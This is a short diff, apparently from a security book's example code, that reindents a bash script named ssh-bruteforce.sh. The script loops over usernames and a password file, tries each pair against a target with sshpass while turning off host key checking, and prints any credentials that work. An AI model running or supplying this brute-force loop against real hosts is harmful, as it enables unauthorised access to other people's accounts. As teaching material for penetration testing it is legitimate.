2 spaces not tabs

ch07/ssh-bruteforce.sh

@@ -12,21 +12,20 @@ echo "Starting SSH credential testing..."
 
 # Loop through each combination of usernames and passwords
 for username in "${USERNAMES[@]}"; do
-    while IFS= read -r password; do
-        echo "Testing credentials: ${username} / ${password}"
-
-        # Check the exit code to determine if the login was successful
-        if sshpass -p "${password}" ssh -o "StrictHostKeyChecking=no" -p "${PORT}" "${username}@${TARGET}" exit >/dev/null 2>&1; then
-            echo "Successful login with credentials:"
-            echo "Host: ${TARGET}"
-            echo "Username: ${username}"
-            echo "Password: ${password}"
-
-            # Perform additional actions here using the credentials
-
-            exit 0
-        fi
-    done < "${PASSWORD_FILE}"
+  while IFS= read -r password; do
+    echo "Testing credentials: ${username} / ${password}"
+
+    # Check the exit code to determine if the login was successful
+    if sshpass -p "${password}" ssh -o "StrictHostKeyChecking=no" -p "${PORT}" "${username}@${TARGET}" exit >/dev/null 2>&1; then
+      echo "Successful login with credentials:"
+      echo "Host: ${TARGET}"
+      echo "Username: ${username}"
+      echo "Password: ${password}"
+
+      # Perform additional actions here using the credentials
+      exit 0
+    fi
+  done < "${PASSWORD_FILE}"
 done
 
 echo "No valid credentials found."